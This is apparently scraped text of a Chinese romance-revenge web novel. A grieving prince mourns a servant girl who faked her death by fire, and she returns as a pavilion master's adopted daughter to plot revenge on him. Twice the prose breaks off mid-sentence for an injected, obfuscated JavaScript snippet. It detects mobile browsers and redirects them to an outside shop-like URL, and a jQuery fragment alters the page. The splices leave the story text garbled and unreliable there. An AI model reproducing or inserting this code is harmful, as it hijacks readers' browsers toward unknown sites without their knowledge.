他又举起酒坛往口中倒去,满眼皆是醉意,“本王总觉得不相信她已经死了……那样灵动活泼的一个人,怎么就这样走了呢?” “可是您已经看到了她的尸首。” “本王知道……”他看向桌上那把匕首,笑着,声音里却带着哭腔,“这把匕首,原是本王送给她用来防身的,后来,她却拿它对准了我,再后来,她就带着它一并去了……姚寂,你说她怎么能那么残忍?怎么就丢下本王一个人?” 姚寂的目光落在了桌上的丹青上。 这一年来他总想画一张她的丹青,可脑中分明有着清晰的模样,却无法下笔。许是不忍,许是心痛,纸上只留下了一堆不成形的残墨,一张又一张……被风吹起了,四散飘零在屋子的角角落落,和着浓重的酒气,围住了这个鳏夫。 “你说她为什么,为什么她不能再多等我一会儿?” “你说,我真的做错了吗?” 姚寂怔了怔。在公子的字典里,从来就没有“认错”这两个字,从来是说一不二、独断专行,可如今他竟会生出这样的想法? 他眼睛里空空的,看着窗外不知名的远方,“我现在在想,她除了云青山还喜欢哪儿?她从前都去过些什么地方?最喜欢什么样的吃食、什么样的颜色?” 姚寂给他问哑巴了,好半天才道:“属下与洛姑娘相交甚浅,这些问题,不应该是公子最清楚么……” 君琰心里头“咚”地一声! 到这时他才发现,自己竟连她的喜好都是不那么清楚的。 脸色陡然沉了下来,命令道:“去查!让无殇去查。” 不够了解她,但他可以搜集情报。 “是。”姚寂点了点头出去了,顺便抱走了他剩下的两坛酒。 坟墓跟前的土里,还埋着那个玉坠的碎片。他走到跟前,伸手抚摸着泥土,露出了一个微笑,轻轻地说:“夭夭,我准备离开这里了。你曾经说最向往自由,最喜欢外面的蓝天绿水,我代你去看好不好?” “等我回来了,就和你讲外面的趣闻,我会将市面上能买到的好吃的好玩的都拿回来给你,夭夭,你会喜欢吗?” “我是知道你的,你竟以这样惨烈的方式来与我诀别,难道我是真的错了……” “从我的眼睛落在你身上的那一刻起,我就知道,这辈子,只有你了。” “你在那边若是还恨我,就继续恨吧。愿你夜夜来我梦中,让我们隔着阴阳灵魂交替,我宁同你一起被一根荆棘穿胸,让你分走我的寿元,这样,我就可以快些下来见到你了……夭夭,这个世界,我是真的待腻了,也烦透了。” “那样珍爱性命的你走了,轻忽性命的我却还活着……行医救人的你走了,杀人如麻的我还活着,世事离奇善恶颠倒,还真是……让人生厌呢。” “夭夭,‘碧海青天夜夜心’……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651639|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你走了,不能再留在这世间,我这就去替你把万水千山走遍,去看你想看的世间风景……等我日后下来找你了,你若想看,就挖下我的眼睛来。”他说着,情不自禁地笑了。 一栋高大的楼阁屹立在梦湖中央。 这里是楚国最大的情报交易所之一星月阁,与九公子手下四大堂主的黑布组织并立江湖。此外,其阁主沈因初亦常年经商,其财力据江湖可靠人士之说,富可敌国。 听说一年前,沈阁主从外面带回了一位养女,喜爱得紧,名唤沈月。沈阁主年过四十五未曾娶妻,膝下没有一儿半女,谁知去了趟京城寻了个养女回来,宝贝得跟亲生女儿似的,吃穿用度都一律按最好得来,星月阁不愁钱花,光是这位沈小姐一个季度的衣裳裙子,便有数百件。 静夜悄然,沈因初和友人在阁楼上观星。 “听说你带回了个女儿,真不打算让我见见吗?” “不慌啊,等过些时日也不迟。之前我找到她的时候,她受了些刺激,身子也不大好,养了这一年才有了些起色,等她完全康复了,我再带她来见你。” “我倒好奇是什么样的女孩儿能入得了你的法眼。能被你看上做干女儿,她可真是走了大运了。” “她走运?”沈因初似乎冷笑了一声,接着深深叹了口气,“世事无常啊……” “怎么,是我说得不对?”老友笑了笑,“能跟你沈因初还不算走运啊?你对她可是宠爱得紧,连姓也给改了,可见是真心喜欢。这丫头约莫是上辈子积了大德呢。” 沈因初看着天上的七颗星星,露出一抹苦笑。他又叹了一声,转头拿来了酒放在桌上,终于决定向故友透露一点实情—— “有没有可能,她本来就姓沈?” 今日的星星很好看,小丫鬟静儿看见小姐又趴在窗边数星星了。 平日里小姐眼里都是黯淡的,就好像遭过什么很大的罪一样,只有在晚上数星星的时候,她的眼眸里才会显出神采来。 “一颗,两颗,三颗,四颗……” 十几岁的大姑娘还是喜欢像小时候一样数星星。 “小姐,晚上记得加衣服呐,外面凉。”侍女静儿拿了件云丝披风来给她系上。 “不是说了数星星的时候不要吵我吗。”沈月脸上的表情不算太好看。 静儿忙后退了几步,“奴婢的错!奴婢不该扰了小姐雅兴的……” 她继续转过脸去,没再搭理她。 过了一会儿,许是有些倦了,她关上了窗,走进来。 “生气了?” “……奴婢哪敢!” “不高兴就是不高兴,呐。”她示意了一下桌上的海棠酥,“这个给你吃吧。” 静儿顿时眼睛一亮,“谢谢小姐……” “半个月内,有贵客要过来。”她看着丫鬟的吃东西,在她对面坐了下来,一手搁在桌上,“若义父要到幽州去,这笔生意就由我来代谈。该准备些什么,你心中有数,回头别忘了。” “是,小姐。” 月光照亮了她的脸庞——那张从来清瘦的脸已略微丰满了些,脸上也有了些健康的红润,两只灵动有生气的眼睛里却透着寒凉,连同那双微蹙着的秋水细眉一起,都暗示着她曾有过什么不为人知的隐痛过往。 她穿着一身浅紫色衣裙,白皙如玉的肤色将裙子衬得格外好看,耳朵两边戴着一双珍珠明月珰,头上云鬓青丝之间,斜插着一根做工考究、材质高级云水簪,看上去高贵、简约又透着一股独特的妖冶和妩媚…… 沈月。她在心里念了一遍自己现在的名字,但此刻她还不知道这其实就是她的本名。 沈小姐,是星月阁阁主沈因初的养女,过着为人艳羡的大小姐的优渥生活,没有谁会将这个名字与一年前景王府那名卑微的下人联系在一起…… 她转头看向镜中的自己,那张脸还是和从前一样,只是气质变了,从眼睛里透出的东西,也和以前不一样了。 这一年间里她断断续续地听说了很多消息…… 比如,景王妃忽然无故消失,活不见人死不见尸。 比如,当今皇上的位子是造反得来的,而杀死先皇的正是最得他信任的九弟君琰。 比如,君琰秘密杀死先皇并非为了别的,而是为了给一个死去的下人报仇…… 那个下人,就是曾经人们口中高攀王府的平民姑娘洛夭夭,谁也没有想到,那姑娘消失以后,景王竟因她而茶饭不思,郁郁颓丧……有人说,是因为那姑娘身上带着某种秘密,是景王誓死都要知道的秘密。 消失的王妃,死去的先皇,带着秘密的下人,一时间,景王府更成了神秘之所,与九公子那烂透了的江湖名声叠加在一起,愈发让人们在心里对这位大楚景王爷敬而远之,有人经过景王府门前,都要绕着道走。 一切的一切,真真假假,谁又能说透呢?不过她倒是借着星月阁的情报网,查出了一点东西来…… 君琰为她而生的悲痛,是真的。 不过她很是不以为然。 当初点燃那把火的时候,她也没想过这种方式能报复到他,因为他根本不喜欢自己啊。若要报复,也不可能从感情方面入手来报复,他九公子得以傍身的资本,第一就是江湖势力,她若要复仇,就从拆解他的江湖势力开始…… 可九公子浸淫江湖不在朝夕,其势力盘根错节,数年之内很难撼动,即便有星月阁的实力为助也做不到。 她只能慢慢地调查他,先将他的种种底细、势力分布都摸清楚,再伺机下手。 可是,若他是真的为她而悲呢……? 这也让她有些想不明白。 一个生前那样讨厌她的人,一直都是在利用她的人,为什么会在她走后忽然变得涕泗交流懊悔不已? 从前让他那样喜欢的张王妃,让他不择手段也要为她治病的张王妃,又为什么会一夕之间变得什么也不是了,走得悄无声息,一点水响都没有? 一个人前后之间态度的转变竟可以这么大吗?这人的心是怎么长的?其中是否又掺杂了许多她不曾懂的秘密? 她心中怀着这些疑惑,这一年来除了卧床养病,也读史书、学琴,沈因初见她好学,还特意请了名家宿儒来教她。 她的领悟力很好,常一点就透。从前许多东西不知道,不过是因为没有接触罢了。 夫子给她讲了历史,还给她将本朝史,讲到君家祖上是如何打天下的,再一路说到现在…… “静儿你过来。”她给自己倒了酒,幽幽饮了起来。 “来啦小姐,您还有什么吩咐吗?”静儿乖巧地侍立在一旁,还是有些拘谨。 自来了沈家,她性情有些变化,待人不再像从前那般温和,有时甚至还有些喜怒无常,这当然也牵连到了这个无辜的小丫头静儿身上。她现在忽然想道,牵连无辜是不应该的。 她是她的侍女,每天都看着她的脸色做事,从前她是山水之间长大的姑娘,从不知什么主仆有序、尊卑有别,可现在,她竟成了那高高在上的主子…… 要拉近距离……不然让她多了解了解自己吧。 反正她是阁主的人,忠心是没问题,知道了什么也无妨。 她咳了两声,“你可知道,我在来这里以前,是个什么样的人?” 静儿摇了摇头,“奴婢不知道。” “和你一样。”她的眼光投向她——“是个下人。” 静儿身上一凉,“小姐……” “当然,也不只是下人,我过得比你惨多了。”整整一年了,一年她都没再提起自己在景王府时候的经历,但现在她开口了。“整个府里除了一个琉璃姑娘,没人愿意和我说话。” 她笑了笑,语气淡淡的,就好像这些已是过往云烟,不再值得她动情绪了。 “我在云青山救下他,他却为了利用我,将我带回府中,假意许我一世姻缘……碰巧他被禁足,府中缺衣少食,我便低声下气地去求人……后来,他的禁足解了,府里也热闹起来了,他却另娶了一个与他门当户对的小姐,还说要取我的血给那位小姐做药引,这也是他从一开始接近我的原因。” “这也太过分了!”静儿听得不由说,“那后来呢?” “来小日子的时候我被那位小姐泼冷水,后来又被她关进暴室受刑,他就冷眼默默地看着,后来他杀了我的家人,我跑了出去,他追上了我,誓要将我带回王府……”她说到这里又是一笑,“我就放把火把自己烧死了。” 静儿听得嘴唇直打哆嗦,“小姐……” “我不是什么小姐,从前我只是个平民。所有人都笑我,觉得我是想攀王府的高枝,才会对他那样好,是我一厢情愿自不量力……” “王府?!” 静儿从前对她的过往一无所知,只知道这是阁主带回的人,视如亲生女儿,眼下听她说起这些,“王府”两个字一下子让她神经紧绷了起来,近年来处在情报网的中心、诸般事情闹得沸沸扬扬的,只有那一位。“小姐不会说的是……” “对,就是他——君琰。” “小、小姐!您竟然和九公子……”眼前漂亮矜贵又神秘的小姐竟和九爷有着那样的渊源吗?! “不过这些都不重要了,重要的是当下。他毁了我的一切。先皇已经殡天,现在他是我唯一的仇人。你知道我想做什么吧?” “小姐是想报仇,”静儿皱起了眉头,“九公子可不是好惹的人……” “好不好惹,惹一下不就知道了吗?你以为我之前做的那些准备,是为了什么?” 静儿一下子脑子断电了。 很快她又想到她刚才的话,疑惑着继续问道:“那小姐当时放了火以后,是如何逃出来的,又是如何让他以为您真的被火烧死了呢?您一个人被关在里面,怎么做到这些?” “这个啊。” 沈月的记忆慢慢飘回了一年前…… 22. 回忆 一年前,云青山决裂之后,君琰仍强行将她带回王府,关在了西厢房中。 冷月如霜,她心如死灰,不知自己还能做点什么,一个小侍卫的哭声忽传了过来…… “你怎么了?” 小侍卫哭得伤心,好半天才听见有人在和他说话,抽泣道:“小的犯了错,几个月的禄钱都被罚没了,家中七十岁的母亲过寿,没钱给她买礼物,所以伤心。” “这样啊。”她淡淡一笑,当即取下身上所有的首饰给了他:“你将这些拿去当了,多少能换个几百文钱。” 小侍卫有些惊奇地抬头看向她。“洛姑娘,您为啥要这样帮俺?” “你别问这么多,拿着吧。” 小侍卫将她的首饰拿去当了换钱。 两日后,一蒙面人夜行跟踪,将小侍卫堵在了巷子里。 小侍卫吓得两腿发软,当即求饶:“别杀我,别杀我!你要、要什么我都给你!” 对方见状也开门见山了:“前日你在当铺里当的东西,是从哪里来的?” 小侍卫这下有些不敢说了…… “不说,现在就杀了你。”对方的刀抵住了他的脖子。 “……说,我说!……那东西来自我们府上的洛姑娘。” “景王府?” “嗯,嗯……” 对方想了想。“你帮忙带样东西!” “诶?” “若是胆敢告密,就杀了你母亲!” 夜半时分洛夭夭打开了窗,一个侍卫模样的人出现在了窗口,但他其实并非府里的侍卫…… 她一惊,“司云哥哥?!” “嘘。”他朝她做了个手势,“你这边看得严,我那里尚有活动空间,刚收到了一封密信,你那边是不是也有星月阁的人联系了你?” 她想着取出一枚星月手链,“是有人带给了我这个,但我不知道是什么意思。” “这是星月阁中人的信物,你手上有这个手链,他们才好救你。” “……星月阁?星月阁的人又为什么要救我?” 那日解下首饰送给小侍卫去当,她除了真心相帮,也确实存了这样的心思——让熟悉自己的人通过首饰找到她、来救她。虽然她在这个世上已经没什么亲人了,但她依然不想放弃一线渺茫的希望,却没想到第一个找上门来的竟是星月阁。星月阁是江湖上最大的情报组织之一,它为何会注意到自己?她从前与这个地方也没有什么交集啊。 司云:“星月阁和黑布组织是对家,他们救了你,相当于捏住了九公子的把柄吧,再多的原因我也想不到了,总之你不妨相信他们,反正你被困在这里也没有其他办法了不是吗?” 她想了想,“那他们要怎样救我呢?硬闯肯定是不行,如今王府的守备力量我知道……我倒有一个主意。如果这些所谓的星月阁中人能够帮我,我还是有一定把握的。” “什么主意?” “我需要他们帮我弄一具女尸来,和我身量差不多的,不知是否能找到。司云哥哥,你能帮忙联络吗?” 他一瞬明白了,“你要纵火假死?” 她点了点头。“我若只是逃出去则远远不够,得让景王认为我已经死了,再也没有任何希望,才能短暂地放过我,我才有心力来筹划将来。他不是个容易死心的人,我必须做得足够以假乱真,才能骗到他。” “好,那现在选一个时间,纵火后你可以扮作侍卫,趁着火势逃跑。这些天我也一直被关着,但是没闲着,和这里守卫的人已经有几分交情了,我知道这间屋子里你有一条路可以出去,且景王绝对不知道。” “王府中的密道,王府的主人竟还有不知道的?” “这你就不懂了吧,这座王府的前身是汤泉宫,密道是那个时候修的,景王来得晚,自然不知道。”他说,“好了,现在不和你解释那么多了,剩下的事你不必太忧心,我一定会帮你。” 她看着眼前人熟悉的面容,忽然间湿了眼眶……“司云哥哥,谢谢你。” “你别哭啊。”他温和地看着她,“云青山的事情我也听说了,我很难过……可是夭夭妹妹,这不能怪你,这件事你全不知情。” 怎么可能不怪自己呢……她低下了头。 “下旨的是皇上,执行命令的是景王,连累满山之人的是钦犯余逸,你又做了什么?无非是当初识人不明,和一个魔头跑了,与父母最后一面成了永诀……可是夭夭,若你没有和他走,而是和父母一起留在云青山,现在你就也和他们一起死了。我虽为此事痛心,可我私心更希望你能活下来,无论是以何种方式,只要人活着,一切就还有希望……死了,就什么都没有了。” 他这一番话说得真诚又实心,没有半分隐藏,她不由头垂得更低了,“司云哥哥……” “好了,不多说了。我明白你心里的苦。”他安慰着她,“等我们出去了,你想去哪里,我都陪你去。” 她怔怔地看向他,他还是像小时候一样,对她露出了一个笑:“我先走了,乖。” 司云哥哥的目光好温柔啊……湿漉漉的,像淌着月光的河流,不像君琰的目光,森冷如冰、深不见底,如他这个人一样难以琢磨……可曾几何时,君琰也用温柔清澈的目光看着她过,那时候她觉得自己是世界上最幸福的小女孩。 一个人的伪装竟可高超到那般地步,又怎能说不是一种本事呢? 心绪难平,待夜的光华逐渐褪去,王府小院迎来了黎明。算上景王被禁足的日子,这是她被囚在这里的第一百六十二天……她看着这座小院里的日升日落、月升月落,也该觉得倦怠了吧? 十天以后,她拿出他送她的匕首,塞在了那具女尸手里,然后拿出了打火石。 这十余天里君琰来看过她两次,她一次正眼也没看过他,他亦一声不吭,坐了一会儿就走了,倒没再多与她为难。 君琰,往后若还能复仇,我便要你,下地狱! 熊熊火光倒映在她曾经清澈的眼眸里,显出清晰的恨意。她一袭白衣从烈火旁走过,头也不回地遁入了夜色中…… 救她的人竟是星月阁阁主本人。她出去以后,星月阁的人将她秘密接走,顺带也接走了司云,一行人连夜离京,她看向那位阁主…… 传闻中那是个性情孤僻的怪人,可她看着他却像一位和蔼可亲的叔叔。沈因初看向她的目光十分和蔼,就好像以前见过她一样…… “阁主。”半路上她终于忍不住问出口:“您到底为何对我施以援手?” “你长得很像我从前的一位故人……”沈因初过了很久才答道。 “可之前您都不认识我,又为何会知道我的相貌呢?” 沈因 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她一直都怀疑自己与阁主之间是否还有什么别的联系,可每当她发现一点头绪之时,线索就会中断,次数多了她甚至怀疑是有人故意搞破坏,心中越发不安……沈因初身上到底有什么秘密呢,还不能让自己知道?可是他又对她有恩,他不是坏人——至少目前看来是这样。如果可以借助星月阁的势力向君琰报仇,那是再好不过的了。至于其他的事,就再慢慢查吧…… 虽然很快她就发现君琰的势力不是那么容易被整垮的。 这个世界像一张巨大的网,随时可以将她吞噬掉,从前君琰骗她,现在阁主瞒她,所有人都有不可告人的秘密,现在她也有了。她的秘密,就是自己从前的身份。 “洛夭夭”三个字,从她进入星月阁起再也没被提起过,就好像这个姓名已被尘封入土,就好像叫这名字的姑娘,当真随着西厢房里那把大火,永远地去了…… 一年了,她终于等到了关于他的有效情报…… 他就要来了,是来做生意还是干什么并不重要,重要的是他要来与星月阁合作,这就意味着她有了向他复仇的机会。之前向静儿说的那位“贵客”,也就是他——九爷。 以九爷的身份地位,未必会亲自前来,更大的可能是让他属下来。不过没有关系,只要他进了星月阁的地盘,她还愁找不到机会下手么? 眼前恍惚间又浮现出了他从前的模样…… 当初她救下他以后,他养好了伤,站在后山上。她以为病人跑了,心下担心,一面喊着人一面跑出去,却正好看到后山上看到一负手而立、长身玉立的男子,仙姿佚貌,光风霁月,一双幽深的眼瞳中,笑意浅浅。 那是他们第一次真正意义上的见面……他从获救起就一直昏迷着,直到这一天,才睁眼看清了她的模样。 彩云易散琉璃翠,大都好物不坚牢,可没想到竟能不坚牢至此,她对于情爱的憧憬与念想算是被毁了个彻彻底底,心中唯余为父母报仇之信念…… 君琰,你说这一次,我该怎样对你呢? 是摧毁你的势力,还是摧毁你和新皇之间的合作,令你四面楚歌? ……不,你太嬗变了,如今的你可还是一年前的你吗?我要先了解一下如今的你,搞清楚你眼下最在意的是什么东西,再把这东西一点一点地毁给你看。 23. 重逢 他已记不清自己这是第几回下江南了。 这个叫人闻风柔软、听雨生情的地方,竟有朝一日会成为他的伤心地。但他仍然不得不来,因为在放他自由之前,君朝雨还交给了他一项任务。并非是存心为难,而是这件事,大概只有他才能办到——浙江的两个县遭了灾,万顷良田被淹毁,朝廷筹不到足够的赈灾银,遂打算让大户出钱粮买走百姓手里的田,再雇百姓来为他们种田。这样,大户得到良田,百姓则得到用以度过荒年的银钱和粮食。 其实在君琰看来这算不上一个好办法,理由有三。其一,要让百姓手里有足够度过荒年的银钱,大户买田的钱肯定不能出得太少,至少不能低于市价,这样大户们未必愿意,所以才需要他九爷亲自出面压着他们买,为此他甚至可能还会付出一些别的代价。其二,百姓有了钱是能渡过今年的灾荒了,可是到了明年、后年,他们手里没有了田,只能去种大户的田,到时大户必然会刻意压榨,百姓的日子仍苦。其三,农人一向视田地如身家性命,若他们守着田地宁可饿死也不卖,又该如何是好?他一向不擅长游说人,也没有擅长游说人的属下。 要说江南最有钱的大户,除了那几个盐商,必然就是星月阁了。 星月阁常年从商,其阁主沈因初富可敌国,若能将此事与他谈成,他愿意按市价从百姓手中买粮,且能保证在明年、后年也按市价为雇来的农人结算禄钱,这件事情还能勉强算是解决得圆满。 沈因初此人他早有耳闻,听说性情孤僻不好相与,去年还不知从哪里收了一位养女,取名沈月,视如掌珠,四季常服八百余套,钗环首饰不下千件,比京中闺秀的日子还要舒服阔绰。 因他身为王爷而兼浸淫江湖,其身份位置总是有几分特殊,从前君墨林在位时,便要利用他的江湖地位与江湖势力,去办一些朝廷不能在明面上去办的事;而今君朝雨在位,虽已和他达成协议,却也没那么容易放他自由,他得在他走前再多用用他。沈因初不好相与,可若是九爷亲至,他怕是也不得不给个面子。 船走得很快,短短一月之内,就快到星月阁的地界了。 河畔,初上的华灯一点点掠剪了柔腻的湖波,将河水皴得微明,心笙不由也随之缓缓荡开,他第一次开始用心地体会这里的风物,体会她曾经待过的是怎样一个世界…… 夜光之中的湖面炫美而朦胧,河面上仿佛映着一抹起舞的惊鸿,莞尔一笑若照破山河万朵,华灯映着她的秾姿,月华洗出她的秀骨,那影子以鲜活的心焰舞尽了韶华、诉尽了炙热如火的情爱。 然而下一秒,那双横波目竟顿作流泪泉,宛如盛放的杏花一瞬枯萎,只留下苦涩的杏果……芳年与迟暮之间,不过是一道水波的距离,两头宛如冬日里红白梅花的交映,一面是生机盎然,一面是枯槁如灰。 他的心一时晕眩在这几份夜色华灯的神光离合之下,几分恍惚,几分失落,几分患得患失,忽然看见搅弄着那道水波隔开了红白梅花的,正是自己的手…… “公子!”陆云见他脸色不好,忙问:“您还好吧?” “多半又是出现幻觉了。”姚寂在旁答道,“别理他,让他自己静静。” 他脑中时常出现她的幻影,或是在河面上,或是在瑶台边,又或是在月亮里,做了那抱着玉兔冷若霜雪的嫦娥……可待在碧海青天里的人分明是他啊…… 他是下江南来办事的,同时,也是想回忆与她的过去,了解她从小长大的地方。许是这里是她曾待过的位置,所以他才会产生更多的幻觉,看着山、看着水、听着雨,都会觉得是她,就连湖风里也似乎带着她的气息…… “啪”地一声水响,他俯身捧了把河水。 掌中清亮的水里倒映着一个明净的小月亮,却唯独逝了那道惊鸿照影。 这些山山水水中,是否他足之所履,可巧刚能踏上她从前的一枚脚印?若能如此,倒也算是一种怪异的慰藉。 “你看他这人不人鬼不鬼的模样……”姚寂小声地对陆云嘟囔:“真还有心思去办事么?” “由不得公子。”陆云叹了口气,“这件大事做好了,上利朝廷,下利百姓,公子毕竟还是景王,这也是他的责任。” “我倒是刚刚听说了一个消息,沈因初似乎刚刚去了幽州……” “什么?!” 陆云怔了一下,敢情人都不在,那还谈什么谈? 姚寂:“你别急。人虽不在,但是听说他将事情都委托给了他那位养女,叫沈月的。” 陆云沉默了一阵子。“沈因初老糊涂了吗?把事情交给一个十几岁的女孩来谈?” “不好说,我总觉得能得沈因初如此喜爱,这女孩子必然不简单。”姚寂道:“会会吧。” 陆云:“不是我们去。这一次,公子似乎是要亲自去。” 姚寂也怔了一下。“我们公子亲自去和那个沈月谈?她好大的面子!” “谁让她现在是星月阁少阁主呢?”陆云低下声道:“实不相瞒,我也觉得这个沈月没那么简单,已经派人去查了,只是星月阁似乎早有准备,消息都封得紧。” “天底下还有我们黑布组织查不出来的事?”姚寂道,“我就不信她还是哪路神仙不成?” 凉月凉风之下,姑娘落寞的背影消逝在烟水之间。 “他来了。”风里夹杂着一声似有若无、颇为玩味的叹息,“去探听一下他们住哪个客栈,来禀报我。还有,把司云公子找来。” “是,小姐。” 沈月笑了。 君琰一行人在万福客栈下榻。 “不好意思公子,小店今天晚上所有的房间都被人包下了。”店小二腆着脸说。 陆云没有做声,直接将一袋满当当的银子放在了桌上。 “啊这……!?”店小二微傻眼,今儿是怎么了,接连来了两个大主儿? 陆云:“够不够?不够再加一倍,让那个人即刻出去。” 眼前面前这几位都器宇不凡,尤其是中间那个,虽然相貌英俊非凡,但气场实在森冷迫人,倒像是某个杀手头子?店小二心中越想越不对劲,抬手抹了把冷汗,赔笑道:“之前那位客官出手阔绰,没想到你们也……还请几位稍等,小的上去和那位客官说一声吧。” 事情为何会这样凑巧?他们过来,必定是在这里最大的客栈下榻的,是谁刚巧在今夜包下了客栈所有的房间?若对方是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683082|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意的…… 君琰正想着,用了内力便听到上头传来一道女声:“来的是贵客,你将二楼这几间上房给他们住。” 君琰心里忽然一动,这声音…… 不,有几分像又如何?怕不是他听错了。再一想,能有如此财力大包大揽,又知晓自己身份的女子…… “沈小姐既然来了,何不现身一见?”他大步走了上去。 陆云、姚寂几个人后知后觉地反应过来,沈月怎么现在来了?!忙也跟着上了楼。 房间里传来那道女声:“眼下天色已晚,多有不便。我已为几位安排好了上房,你们休息便可,有什么事,明日再谈。” 屋里灯开着,窗上映着一个女子模糊的倩影,君琰忽觉眼前一阵恍惚,抬步三两下跑到了门口,那灯却“唰”地一下熄了,里头再没传来响动——心仿佛也跟着一滞。 不可能。一定是自己思念过甚,又出现幻觉了吧…… “多谢沈小姐,那今夜就不打扰了。”见君琰有些心不在焉,陆云替他回道。 店小二陪着笑脸猫着腰:“几位客官,这边请,这边请……” 好几间上房,一人住一间。 君琰抬步进门,左右灯火熄了,他走到里面去,看到房里点着一盏小小的红烛,红烛摇曳,朦胧的光晕中竟现出一张美人面—— 一个身量娇小的美人正坐在那里,似有些瑟意,一双灵动的眼睛里带着些许恐惧,目不转睛地看着他。她生得很漂亮,却像是被他的气场吓到了。 他怔了一秒,下一瞬,心头顿起一股无名火…… 沈月这是什么意思? 事情还没开始谈,提前给他们包下上房算是好意,给他屋里放美女又是什么意思?! 眼下左右灯火已熄,面前那姑娘有些害怕地看着他,似乎已经预见到了自己即将面临的是什么,双手抱着自己的胳膊,“公子……还请公子,怜惜奴……” “出去。”他眼中毫无怜惜之心,冷冷地下了逐客令。 “……公子?!”那姑娘惊住了,一瞬梨花带雨。这大晚上的,他要将自己赶出去?!“公子,求求你不要这样……这么晚了,奴家能去哪儿?” 君琰:“滚还是死?” 姑娘“哇”地一下哭了……裹了裹外衣,哭着跑了出去…… 姚寂被他叫了出来。“什么事公子?” “沈月往本王房里塞女人。”君琰的脸色沉得吓人,“你去跟着她,看看是哪里来的。” 过了半夜姚寂回来复命了,“公子,那女子是凤仙楼的头牌。想来是沈月特意挑了来送的,怕是对您有所求……” “她有所求……呵。”他心头一腔怒火,手中稍稍一用力,竟生生将握着的一只慈悲捏成了碎片。 下一瞬他就出现在了沈月房前。 屋里漆黑一片,他语气森冷地在门外道:“沈小姐还没睡吧,本王的戏可还好看?” 照九爷以往的行事作风,这位沈小姐八成是要遭殃了。 沈月的确没睡,耳朵听着隔壁的动静。月光下她那一双灵动的眼睛圆睁着,含了深意地轻轻一笑,披了件衣裳,莲步轻移向房门处走来。 24. 相似 他的周身真气荡荡……是要出手的前兆。 “砰”地一声门打开了,室内也亮起了光,他的身形忽然间一晃,差点没站稳,周身的那些真气,在一瞬间散去。 君琰的眼睛慢慢睁大了。 眼前的女子,两弯柳叶罥烟眉,一双灵动横波目,唇上胭脂明艳透亮,青丝半散,云鬓微偏,看着像是从榻上起来、穿好了衣裳过来的……可是这张脸,和洛夭夭太像了! 不,不能说是像,只能说是一模一样…… “夭夭!” 他眼眶一热就要上前,一个陌生女子忽然出现挡在了他们之间,“放肆!什么人敢对小姐如此无礼!” “静儿,见过九公子。”沈月波澜不惊的声音从婢女身后传来。 这人就是九爷?!静儿缓了缓,慢慢放下了手,退到沈月身后。“静儿见过九爷。” 宛若一句当头棒喝,他这才醒了醒神……对,她是沈小姐沈月,不是洛夭夭。夭夭……他的夭夭已经死了。 再抬头仔细看那张脸,虽说……和夭夭十分相似,可那分气质,却与前者绝然不同。 夭夭是山水之间长大的姑娘,一双清澈灵动的眼睛从来不染尘嚣,嫣然动人,白里透红的双颊好像含苞的荷花,一派天然颜色,不需要任何装饰……而面前的沈月,眼睛里似乎带着某种叫人看不透的东西,并没有夭夭眼中那分天真纯粹的神采。她的眉心还是微蹙着的,可夭夭永远不会蹙眉,即便是在被欺负的时候,也只是怔怔地掉泪。 最明显的区别是,沈月通身上下有一种小姐的贵气,这是夭夭所没有的。她穿着一件淡紫色衣裙,脸上还有些残留的胭脂,在烛火的映照下又别有一股凄冷、妖冶与萎靡,宛如月光下绛红色的山桃花,还未开放之时便已思花落。 可他看向那张脸,又有些恍惚了…… 如果夭夭能得到很好的爱护,能活到现在,大概也会是沈月这个模样么? “九爷怎么一直盯着本小姐看,是不是认错人了?”沈月忽然出声,冲他柔柔一笑,“若本小姐所料不错的话,您方才是想杀了我吧?怎么又住手了? 您深夜找我,于理不合,若事情传出去损了本小姐的声名,九爷预备如何来赔?” “不会传出去。”被她的话猛然拉回现实中来,他听着她的声音也觉得和洛夭夭很像,却又带了继续陌生。君琰逼迫自己在看着那张脸的同时清醒下来,这时才想起自己来这里是为了什么,“沈小姐的做法,本王不敢苟同。” “哦?那位姑娘可是凤仙楼的花魁,多少人一掷千金都见不到一面,本小姐为讨九爷欢心把她弄来了,您却不满意么?”沈月露出疑惑的神色,接着道:“我也是听说您私底下好美人,这才以为能投您所好,提前安排了佳人侍候在房内,却不想惹得九爷如此反感。那您倒是说说,喜欢什么样的女子?只要在这星月阁的地界上,我都给您找来。” 江湖上有关他的传闻不少,说他杀人如麻者有之,说冷血无情者有之,原来还有说好女色的么?真是笑话。 许是她这张与洛夭夭相似的脸让他降下了怒火,他没再指责她,耐心道:“沈小姐是番好意,但本王不需要。至于好女色,不过是外界传言罢了。” “传言不试又怎知真假?九爷勿怪。我也是想着,若您真是喜欢收集美人,本小姐也该拿出星月阁的待客之道来,定不能让您空跑了才好。” 他仍在怔怔地盯着她出神…… 沈月:“您为什么老盯着我……我脸上是有什么东西吗?” “抱歉,”他终于说了出来:“小姐生得,十分像在下的亡妻。” “你……!”身后的静儿闻言,一声“放肆”又差点冲出口来,沈月及时拦下了,对君琰笑道:“九爷倒是坦诚。世间若真有如此凑巧的事,那么本小姐的容貌能慰藉王爷思亲之苦,也算是一份功德。王爷说的人可是张侍郎家的小姐?但您方才喊的名字好像不是她。” “不是。”他摇头。 沈月有意露出惊讶的神色,“可您不是只有一位王妃?” 